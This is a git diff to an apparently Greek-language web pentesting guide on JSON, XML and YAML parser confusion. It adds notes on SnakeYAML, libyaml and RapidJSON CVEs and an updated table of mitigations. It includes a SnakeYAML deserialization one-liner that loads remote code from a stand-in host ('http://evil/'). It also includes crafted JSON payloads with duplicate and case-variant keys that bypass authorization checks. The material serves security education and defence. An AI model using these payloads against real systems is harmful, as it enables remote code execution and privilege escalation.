diff --git a/src/pentesting-web/json-xml-yaml-hacking.md b/src/pentesting-web/json-xml-yaml-hacking.md index 4ff025254..755a39e51 100644 --- a/src/pentesting-web/json-xml-yaml-hacking.md +++ b/src/pentesting-web/json-xml-yaml-hacking.md @@ -85,8 +85,8 @@ json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req) "AcTiOn": "AdminAction" } ``` -- Η Python βλέπει το `UserAction`, το επιτρέπει -- Η Go βλέπει το `AdminAction`, το εκτελεί +- Python βλέπει το `UserAction`, το επιτρέπει +- Go βλέπει το `AdminAction`, το εκτελεί ### Σύγχυση Μορφής Δεδομένων (Polyglots) @@ -98,7 +98,7 @@ json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req) - Την κεφαλίδα `Accept: application/json` - Μερικό έλεγχο του σώματος JSON -Ο αναλυτής XML της Go το ανέλυσε **οπωσδήποτε** και εμπιστεύτηκε την εισαγόμενη ταυτότητα. +Ο αναλυτής XML του Go το ανέλυσε **οπωσδήποτε** και εμπιστεύτηκε την εισαγόμενη ταυτότητα. - Δημιουργημένο payload: ```json @@ -108,21 +108,57 @@ json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req) "ignored": "Action_3" } ``` -Αποτέλεσμα: -- **Go JSON** parser: `Action_2` (χωρίς διάκριση πεζών-κεφαλαίων + τελευταίο κερδίζει) -- **YAML** parser: `Action_1` (με διάκριση πεζών-κεφαλαίων) -- **XML** parser: αναλύει `"Action_3"` μέσα στη συμβολοσειρά +- **Go JSON** parser: `Action_2` (case-insensitive + last wins) +- **YAML** parser: `Action_1` (case-sensitive) +- **XML** parser: parses `"Action_3"` inside the string +--- -### 🔐 Μετριασμοί +## Σημαντικές Ευπάθειες Παρσέρ (2023-2025) -| Κίνδυνος | Διόρθωση | -|-----------------------------|---------------------------------------| -| Άγνωστα πεδία | `decoder.DisallowUnknownFields()` | -| Διπλά πεδία (JSON) | ❌ Καμία διόρθωση στη stdlib | -| Αντιστοίχιση χωρίς διάκριση | ❌ Καμία διόρθωση στη stdlib | -| XML σκουπίδια δεδομένα | ❌ Καμία διόρθωση στη stdlib | -| YAML: άγνωστα κλειδιά | `yaml.KnownFields(true)` | +> Τα παρακάτω δημόσια εκμεταλλεύσιμα ζητήματα δείχνουν ότι η ανασφαλής παρσάρισμα είναι ένα πρόβλημα πολλών γλωσσών — όχι μόνο πρόβλημα του Go. +### SnakeYAML Deserialization RCE (CVE-2022-1471) + +* Αφορά: `org.yaml:snakeyaml` < **2.0** (χρησιμοποιείται από Spring-Boot, Jenkins, κ.λπ.). +* Αιτία: `new Constructor()` αποσυναρμολογεί **τυχαίες κλάσεις Java**, επιτρέποντας αλυσίδες gadget που καταλήγουν σε εκτέλεση απομακρυσμένου κώδικα. +* One-liner PoC (θα ανοίξει την αριθμομηχανή στον ευάλωτο υπολογιστή): +```yaml +!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ] +``` +* Διόρθωση / Μετριασμός: +1. **Αναβάθμιση σε ≥2.0** (χρησιμοποιεί `SafeLoader` από προεπιλογή). +2. Σε παλαιότερες εκδόσεις, χρησιμοποιήστε ρητά `new Yaml(new SafeConstructor())`. + +### libyaml Double-Free (CVE-2024-35325) + +* Επηρεάζει: `libyaml` ≤0.2.5 (C βιβλιοθήκη που χρησιμοποιείται από πολλές γλώσσες). +* Ζήτημα: Η κλήση `yaml_event_delete()` δύο φορές οδηγεί σε διπλή απελευθέρωση που οι επιτιθέμενοι μπορούν να μετατρέψουν σε DoS ή, σε ορισμένα σενάρια, εκμετάλλευση σωρού. +* Κατάσταση: Ο upstream το απέρριψε ως “κακή χρήση API”, αλλά οι διανομές Linux παρέδωσαν διορθωμένη έκδοση **0.2.6** που μηδενίζει τον δείκτη αμυντικά. + +### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684) + +* Επηρεάζει: Tencent **RapidJSON** πριν την δέσμευση `8269bc2` (<1.1.0-patch-22). +* Σφάλμα: Στη μέθοδο `GenericReader::ParseNumber()` η μη ελεγχόμενη αριθμητική επιτρέπει στους επιτιθέμενους να δημιουργήσουν τεράστιες αριθμητικές λεκτικές που περιτυλίγονται και διαφθείρουν τον σωρό — τελικά επιτρέποντας την κλιμάκωση προνομίων όταν το προκύπτον αντικείμενο χρησιμοποιείται για αποφάσεις εξουσιοδότησης. + +--- + +### 🔐 Μετριασμοί (Ενημερωμένο) + +| Κίνδυνος | Διόρθωση / Σύσταση | +|-------------------------------------|------------------------------------------------------------| +| Άγνωστα πεδία (JSON) | `decoder.DisallowUnknownFields()` | +| Διπλά πεδία (JSON) | ❌ Καμία διόρθωση στη stdlib — επικυρώστε με [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) | +| Αντιστοίχιση χωρίς διάκριση πεζών-κεφαλαίων (Go) | ❌ Καμία διόρθωση — επικυρώστε τις ετικέτες δομής + προ-κανονικοποιήστε την είσοδο | +| XML σκουπίδια δεδομένα / XXE | Χρησιμοποιήστε έναν σκληρυμένο αναλυτή (`encoding/xml` + `DisallowDTD`) | +| YAML άγνωστα κλειδιά | `yaml.KnownFields(true)` | +| **Μη ασφαλής αποσυμπίεση YAML** | Χρησιμοποιήστε SafeConstructor / αναβαθμίστε σε SnakeYAML ≥2.0 | +| libyaml ≤0.2.5 διπλή απελευθέρωση | Αναβαθμίστε σε **0.2.6** ή σε έκδοση με διορθώσεις διανομής | +| RapidJSON <διορθωμένη δέσμευση | Συγκεντρώστε κατά την τελευταία RapidJSON (≥Ιούλιος 2024) | + +## Αναφορές + +- Baeldung – “Επίλυση CVE-2022-1471 με SnakeYAML 2.0” +- Ubuntu Security Tracker – CVE-2024-35325 (libyaml) {{#include ../banners/hacktricks-training.md}}